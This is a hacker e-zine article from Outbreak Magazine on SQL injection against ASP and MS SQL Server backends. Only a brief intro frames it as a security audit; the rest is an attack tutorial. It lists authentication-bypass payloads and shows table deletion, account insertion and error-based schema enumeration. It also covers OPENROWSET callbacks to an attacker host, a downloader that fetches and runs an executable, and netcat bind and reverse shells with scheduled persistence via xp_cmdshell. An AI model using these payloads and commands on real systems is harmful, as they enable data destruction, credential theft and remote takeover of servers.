°Û °Û ÞÜ ±Û °Û °Û ÜÛÛ ÛÜ ±Û ²Û°ÛÛÛÛß°Û ÜÜÜ ±Û ÜÜ ÜÛÛÛÜ°ÛßßßÛ°Û °Û ÛÛ ° ÛÛ±Û ±Û ÛÛ ±ÛÛßßßÛܱÛÛßß°ÛÜÜÜß °Û°ÛÛÛ ÛÛ ° ÛÛ±Û ±Û ÛÛ ±Û °Û±Û °ÛÜ °ÜÛßßÛ°Û °Û ßÛ ÛÛß °ÛÛÛ ßÛÛÜ°ÛßÛÛÛÛß±Û °ÛÛÛß°ÛÜÜÛ²°Û °Û Outbreak Magazine Issue #10 - Article 17 of 18 '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~' ###################################################################### ###............ SQL Injection: Theory and Practice ............### ###################################################################### Intro. ---------------------------------------------------------------------- Recently, I was hired by an information security firm to code some backend SQL handlers in ASP. I know what you're thinking, a security company with an IIS based webserver? This is why I'll keep the name to myself. When writing backend applications for a professional web developement project, its really important to check and double check your code for potential weaknesses. So, when I was finished writing the handlers, comparing them to my flowcharts and running them through a few standard test procedures, I began an indepth security audit. It was then that I realized the truly hazardous potential weak ASP/SQL code could have on sensitive information stored in a database. Understand that this type of attack is by no means anything new, but after scouring the web for information on this type of vuln- erability I still believe there is alot of uncharted territory. NOTE: The vulnerabilities explored in this text are NOT specific to weak ASP code and are NOT reflective of any weakness of the SQL language itself. The vulnerabilities can exist in ANY serverside program interacting with an SQL server ie ASP, PHP, CGI, etc. All examples presented here deal with ASP, however, the same vulnerabilities can be exploited on programs written in other languages using variations of the same methods. Basic SQL. ---------------------------------------------------------------------- To start, I'll build a simple, psuedo database. We'll call it "Access Card Usage LOG": Table:Log093002 ------------------- .----.---------.---------.---------.---------.---------. | ID | Date | Time | LName | FName | Door | |----|---------|---------|---------|---------|---------| | 12 | 9/30/02 | 6:26 | Smith | Tom | Front | | 31 | 9/30/02 | 6:26 | Baily | Dick | Front | | 84 | 9/30/02 | 6:41 | Hoover | Harry | Side | '----'---------'---------'---------'---------'---------' Assume the above to be an actual buildings access card useage log. Not because its important to the file, because... Its cool. Next we'll discuss the basics of SQL. For the purpose of this file, SQL is a language used to interact with databases. The language consists of a set of statements that can be used together in a logical series to create a query. SQL queries are used to read data from and manipulate the structure or contents of databases and is very similar to standard english. The following is an example of an SQL query to our database. SELECT ID, LName, Time FROM Log093002 The above could be used to determine whether or not anyone had arrived late on the date in question (9/30/02). That query would return the following: .----.---------.---------. | 12 | Smith | 6:26 | Scheduled arrival time for 9/30/02 | 31 | Baily | 6:26 | is 6:30. Bad news for mr. Hoover. | 84 | Hoover | 6:41 | *smirk* '----'---------'---------' What if we only wanted to know the arrival time of Harry Hoover? We can aquire that data using the WHERE clause, we will assume that the ID field specifies each employees unique Employee Code. SELECT ID, LName, Time FROM Log093002 WHERE ID = '84' .----.---------.---------. | 84 | Hoover | 6:41 | '----'---------'---------' The SQL language also makes use of AND, OR, NOT, etc operators along with a lot of other statements that I've left out here. For more information on SQL, I suggest reading the tutorials at w3schools.com. Weaknesses. ---------------------------------------------------------------------- Imagine a database containing a list of names, addresses and phone numbers similar to the type of database they must be using for 411 and double-o info type services online (ie switchboard.com). There is a form on their homepage where a user is able to enter various types of information that is then run through an asp handler that grabs and displays matching entries from the database. Here is a snippit from the database: .--------------.--------------.-------------------.--------------. | LastName | FirstName | Address | PNum | | ... | ... | ... | ... | | Sanders | Bill | Someplace PA | 612-555-1253 | | Borsche | Sveda | Nowhere MS | 710-555-1212 | | ... | ... | ... | ... | '--------------'--------------'-------------------'--------------' Here is an example of the form:
You would enter what ever data you have and click submit. The variables would then be passed to Lookup.asp. This is where the main weakness lies. Lookup.asp's main function is to generate an SQL query based on the users input, and use it to grab data from the database. The following is an example of a weak implementation of this type of SQL query, here the user entered ONLY the phone number and the omitted asp code generated the following query: sqlQuery = "SELECT * FROM 411db WHERE PNum = '" & PNum & "'; If the number entered by the user was 710-555-1212, then the above variable would translate to this: SELECT * FROM 411db WHERE PNum = '710-555-1212' And, after querying the database, would return: .--------------.--------------.-------------------.--------------. | Borsche | Sveda | Nowhere MS | 710-555-1212 | '--------------'--------------'-------------------'--------------' NOTE: the asterisk (*) between the SELECT and FROM statements is an SQL wildcard. Just as in Dos, Unix, etc, it means 'all'. That is the logical process. Its what the developers designed the system to do, and it does it well. But what happens when we try something a little less logical? This time, instead of entering a standard ten digit phonenumber... we'll enter a less standard NO digit phone number. A standard single quote. Namely: ' In this case, Lookup.asp would generate the following SQL query: SELECT * FROM 411db WHERE PNum = ''' If Lookup.asp is vulnerable (which, in our case, it is) we would get a syntax error. In SQL every opening quote requires a closing quote. The quote we entered in the PNum input box effectively closes the first quote generated by Lookup.asp, but the last quote (also generated by Lookup.asp) is left unclosed. It is possible for us to avoid this error by using an SQL comment sequence (--). Adding this sequence to an SQL query will cause the SQL interpreter to ignore anything following the --. so, instead of entering a single quote into the PNum field, we'll enter a single quote followed by a comment sequence ('--) generating the following query: SELECT * FROM 411db WHERE PNum = ''--' The SQL interpreter would then remove the comment sequence and anything following it before processing the request: SELECT * FROM 411db WHERE PNum = '' NOTE: the dash dash (--) comment sequence is specific to MS SQL server. If the dash dash comment sequence doesn't work for you try a hash (#) as the comment character. If that still wont work, take a look at the next NOTE for another possibility. All the examples shown in this text will be using the -- comment sequence. Hold on a sec... What did we just do? We got rid of the closing quote that Lookup.asp was supposed to end the query with, and added our own! Yay! We've effectively injected completely trivial, useless code through an html form! Oh wow. How dangerous. The query we just generated is exactly what would have been generated had we submitted a completely blank form. (of course, if we entered a completely blank form, Lookup.asp may have noticed and complained if it was written with a mechanism to do so). The truly frightening part is the possiblities that arise when we begin injecting our own SQL queries. An important thing to note is that different SQLs use different delimiting characters. In the following examples we'll use a semicolon delimiter. Incase you don't know, a delimiter is a character within an SQL query (and many other languages) that determines where one command ends and another begins. Lets add to our single quote double dash ('--) input. This time We'll place a query between the ' and the -- ie: '; DROP TABLE 411db-- SELECT * FROM 411db WHERE PNum = ''; DROP TABLE 411db --' Comments removed: SELECT * FROM 411db WHERE PNum = ''; DROP TABLE 411db In this query we used the DROP TABLE statement. This particular SQL command will completely delete a table from a database. Our single quote acted as a closing quote to lookup.asp's opening quote, followed by our semicolon (;) effectively ending that first query. DROP TABLE 411db acted as a second query, completely independent of the first, and finally our -- eliminated Lookup.asp's final closing quote. In effect, useing '; DROP TABLE 411db-- as our entry caused Lookup.asp to completely delete the 411db table. The above example was just a taste of the true potential this exploit really has. Lets take a look at another database: Table:userlist ---------------- .-----.------------.------------. | UID | Username | Password | |-----|------------|------------| | 10 | john | love | | 10 | bill | sex | | 5 | dan | secret | | 0 | root | god | '-----'------------'------------' Now we're getting somewhere. This database is aslo accessed via a web form. Lets have a look at that as well:
And somewhere within auth.asp, a variable is loaded with an SQL query: sql = "SELECT * FROM userlist WHERE Username = '" & username & "' AND Password = '" & password & "'" auth.asp processes the request and the result is tested to see if the name and password entered match any from the list. Lets take a look at a translation of a logical interaction: SELECT * FROM userlist WHERE Username='john' AND Password='love' This request would return: .-----.------------.------------. | 10 | john | love | '-----'------------'------------' And auth.asp would go about logging john into the system. Now this is where the true beauty of this vulnerability shows through. We'll start by testing auth.asp to see if its vulnerable. If using quote as one of your inputs generates an SQL syntax error, its generally safe to assume that the asp is vulnerable. If the developer was smart, he would have filtered out quotes. So we pass a single quote (') to auth.asp as the username and the server returns a syntax error. Yay, weak code. Now that we know that auth.asp is exploitable, there are any number of ways we can use the SQL Injection technique to our advandage. For instance, in the following example I'll inject an OR operator with a true condition to our SQL query. Here I'm submitting root as my login and ' OR 0=0-- as my password: SELECT * FROM userlist WHERE Username = 'root' AND Password = '' OR 0=0--' And with the comments removed: SELECT * FROM userlist WHERE Username = 'root' AND Password = '' OR 0=0 Originally, auth.asp would ONLY log you in if your Password matched the stored Password for your Username. But with our injected code, auth.asp will log you in if your Password matches the stored Password for your Username OR if 0 is equal to 0, which it always is. NOTE: As stated in the last NOTE theres a chance that the dash dash (--) comment sequence wont work. In the case of the above query theres another possibility. The statement 0=0 has no function other than to act as a true condition. we could have just as easily said 1=1 or 9999=9999, so long as the condition we're stating is true. Knowing this along with the fact that auth.asp is adding a single quote (') to the end of our query, we can submit a statement like: ' OR 'x' = 'x which would generate: SELECT * FROM userlist WHERE Username = 'root' AND Password = '' OR 'x' = 'x' Making use of the quote we couldn't eliminate :) Its also important to know that not ALL queries have the exact same syntax, amount of parameters, types of parameters, etc and that in some circumstances you may have to use a double quote (") in place of a single quote. Here some variations to try: ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x It may look daunting, but its quite simple to grasp if you try. I would suggest trying to understand before you ctrl-c ctrl-v the crap out of someone. Maybe we want to build ourselves a root account... We could simply inject '; INSERT INTO USERS values( 0, Dade, zeroco0l )-- causing the following query to be submitted: SELECT * FROM userlist WHERE Username = ''; INSERT INTO USERS values( 0, Dade, zeroco0l ) There. Two completely independent queries, the latter adding a new account to the database. Wait a second... I see a problem here. In order for us to add an account, we would have to know previously that the table consists of three columns. Additionally, we'd need to know What data to store in which column. By default, ASP returns detailed descriptions of all errors. This is very fortunate because some of the details listed in the errors can potentially leak information pertaining to the structure of tables within the target database. We'll make use of the ASP error messages as an enumeration technique to map out the userlist table. SELECT * FROM userlist WHERE Username = '' HAVING 0=0 Passing auth.asp the above query (using ' HAVING 0=0-- as our input) would cause the program to error out and often display the error report to the user. The reason that query errors out is because of the way we used the HAVING clause. HAVING is supposed to be used on a table column thats been called and sorted with the GROUP BY clause. In our case, no columns were sorted using GROUP BY and because we use the * wildcard to grab ALL the columns, we'd get an error on the first column called which is the first column in the table. The neat thing is that the error report contains the name of the table AND the name of the column that caused the error :). Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'userlist.UID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /auth.asp, line 28 From the above error report we have determined that the tables name is userlist and the first column in the table is called UID. I've already explained above, but I'll try one more time for anyone who's lost at this point. 'SELECT * FROM userlist' grabs every column in the table 'userlist' one by one. We use the HAVING clause incorrectly to purposely generate a syntax error. Because HAVING looks at the column in question, which in our case is the FIRST column, the error is generated ON that column and the server bitches, 'hey asshole, I tried doing what you asked, but the first column isn't sorted and I can't use HAVING on an unsorted column. I'll just wait here till you sort the column with GROUP BY.' Lets take another step. We'll try the same thing, only this time we'll use the GROUP BY clause to sort the first column. The SQL server will have no trouble using the HAVING clause on that first, sorted column but immediately afterwards, it will try using HAVING on the second column (because we're using *) and since the second column isn't sorted, we'll error out there. SELECT * FROM userlist WHERE Username = '' GROUP BY userlist.UID HAVING 0=0 userlist.UID passes the HAVING test fine, but the second column causes the following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Column 'userlist.Username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /auth.asp, line 28 We can continue this method and eventually map out the entire table. Once we have the entire table we'll know exactly how to format our input to add records to the table. For instance, after mapping out the userlist table, we'd know the columns are UID, Username, Password and could then add our own login to the table with the correct criteria. Just to keep you up to pace, heres what the last query of our mapping procedure would look like: SELECT * FROM userlist WHERE Username = '' GROUP BY userlist.UID, userlist.Username, userlist.Password HAVING 0=0 Here, all the columns in the table have been sorted and the query wont error out. :) There are other important things that can be gleaned from sql error messages. Lets take a look at the UNION statement. UNION is used to merge the results of two separate queries. It is required that both queries have matching datatypes. For instance: SELECT age FROM boys UNION SELECT age FROM girls; Note that in this example both age in boys and age in girls are of the type 'integer'. But what would happen if we were to attempt to merge a string to an integer? Lets see. In userlist we have 3 columns, the first being an integer, the following two being strings. Lets pair up the first integer in userlist (UID) with a string using the UNION statement and see how it errors out: SELECT * FROM userlist WHERE Username = '' UNION 'wo0t', 'x', 'x' Here we've paired the integer 10 in userlist's column UID with the string 'wo0t'. This will produce the following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the char value 'wo0t' to a column of data type int. /auth.asp, line 28 boohaw. SQL has reported the actual contents of the string we passed it ('wo0t'). This is a good way to pull a bit more info from the SQL server. For instance, SQL server comes equipped with a built in constant called @@version. Stored within @@version is some detailed information about the version, build, release of the sql server running and the platform it is running on. Lets submit the same type of query, but this time we'll pair the integer column UID with the string constant @@version: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the char value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright 1988-2000 Microsoft Corporation Enterprise Edition on Windows 2000 2.0 (Build 6132: Service Pack 3) ' to a column of data type int. /auth.asp, line 28 *nods* interesting. Unlike most compile and run or copy and paste exploits, SQL Injection requires a little bit of cleverness, so for anyone interested, there's a list of @@ constants at: http://www.ddart.net/mssql/sql2000/html/ maybe you'll find something to do with them that I havn't :) Now, in an attempt to thwart these types of attacks, a savvy sysadmin can configure his sql server to not display these errors to the user. On top of that, there are plenty of other ways an administrator can stop potential attackers by making it difficult for them to see the results of their queries. All of a sudden things look a little bleak. Never fear, theres more :) If you can't see error messages, and theres nothing in the .asp that you can force to display your queries results in the browser, how can you do anything? Its like hacking blind. Well, Theres an SQL statement suited to this problem. OPENROWSET is a component of SQL that has the ability to grab data from/pass data too remote databases. Using OPENROWSET its possible to do plenty of fun things. For instance lets say the attacker has SQL Server running on his system. He queries the sql server he's attacking and recieves no error msg... So how does he know its even vulnerable? he can use OPENROWSET in his query to have the victim sql server attempt to pull data from HIS sql server. He'd notice the inbound connection on his system and, therefore know that hes executing queries on the target server :) He would do that with the following injection: SELECT * FROM userlist WHERE Username = ''; SELECT * FROM OPENROWSET('SQLoledb', uid=username; pwd=password network=DBMSSOCN;address=0.0.0.0,31337;', 'SELECT * FROM userlist') As you know, the first query is created by auth.asp and not important to us in anyway. we've successfully injected the second query, beginning with the second SELECT statement. This will connect to a remote SQL server running on port 31337 of 0.0.0.0 (of course the attacker would change these to the ip,port that his sql server was running on. The attacker would then watch with his firewall or packet logging software or what have you for the inbound connection. Now it is, of course, possible that the system the target servers running on is behind a firewall. If the firewall wont allow outbound connections to port 31337 then the above attack wouldn't work. This is not necessarily a bad thing though... We can use this behaviour to determine the firewalls rulesets :) Try various ports and determine which ones we can initiate outbound connections through. This is particularly useful when we come to realize that the SQL language comes equipped with the ability to upload and execute files on the server. This can be accomplished using the xp_cmdshell procedure. xp_cmdshell is basically an SQL command that will spawn a command shell and pass arguments to it. Anyone thats used DOS extensively can probably think of plenty of fun things to do with this procedure. For instance, lets use the dos command ECHO and the append operator (>>) to construct a .vbs file on the servers filesystem: SELECT * FROM userlist where USERNAME = ''; exec master..xp_cmdshell 'echo code for our .vbs program >> 0wn3d.vbs' As you can see, the syntax for xp_cmdshell is exec master..xp_cmdshell 'command'. There are plenty of interesting things we could stuff that .vbs with... possibly some code to fetch files off the web? Set xmlHTTP = CreateObject("MSXML2.ServerXMLHTTP") URL= "http://www.domain.com/file.exe" xmlHTTP.open "GET", URL, false xmlHTTP.send() set myStream = CreateObject("ADODB.Stream") myStream.Open myStream.Type = 1 myStream.Write xmlHTTP.ResponseBody myStream.Position = 0 'Set the stream position to the start myXMLfile = "D:\file.zip" set FSO = Createobject("Scripting.FileSystemObject") if fso.Fileexists(myXMLfile) then Fso.DeleteFile myXMLfile set FSO = Nothing myStream.SaveToFile myXMLfile myStream.Close Set myStream = Nothing Or for those who don't know vbscript, you could use the same method to stuff a file with FTP commands and run ftp with the input piped in from that file. You would fill up a file with ftp commands like this: exec master..xp_cmdshell 'echo open 0.0.0.0 21 >> ftp.dat' exec master..xp_cmdshell 'echo username >> ftp.dat' exec master..xp_cmdshell 'echo password >> ftp.dat' exec master..xp_cmdshell 'echo lcd c:\ >> ftp.dat' exec master..xp_cmdshell 'echo binary >> ftp.dat' exec master..xp_cmdshell 'echo get path\file.exe >> ftp.dat' Then finally, you would use the command: exec master..xp_cmdshell 'ftp.exe < ftp.dat' Which would run ftp using all the commands in ftp.dat as its input. We could use this technique to upload netcat to the target server and have it hardlisten to some port acting as a backdoor. we could also execute the AT command from the command line adding our backdoor to the win2k scheduling program (assuming win2k is the platform running and the scheduling service is running. exec master..xp_cmdshell 'nc -L -d -e cmd.exe -p 31337' exec master..xp_cmdshell 'AT 00:00 /every:M "nc -L -d -e cmd.exe -p 31337"' Of course, instead of 31337, you would use a port that you know you can connect to. Wait, what if the firewall is too picky for that? well, we can get around this also. Often a firewall will do a damn good job keeping packets from getting in... but they don't often make to big a deal of letting packets out. We can initiate a connection from inside the firewall like this: exec master..xp_cmdshell 'nc -d -e cmd.exe 0.0.0.0 31337' Replacing 0.0.0.0 with the attackers system, or a system he is in control of and having that system listen on port 31337 (or any port that the firewall will packets flow out through, remember when we used openrowset to mine those types of rules from the firewall? hurrah. You can also use the timeout property of openrowset to turn your target into a portscanner. the possibilities are endless. :) Well, I'm sure theres a few things I'm missing... but I'm on a bit of a tight schedual this week... Kleptics waiting on me. If anyone has any questions feel free to ask me at dropc0de@yahoo.com. ---------------------------------------------------------------------- greets: savvyD, ramb0x, gr3p, kleptic, dirv, jenny, lexi, lenny, turb, joja, smiley, again. And this time i'd like to add Kybo, Count and Forge. :D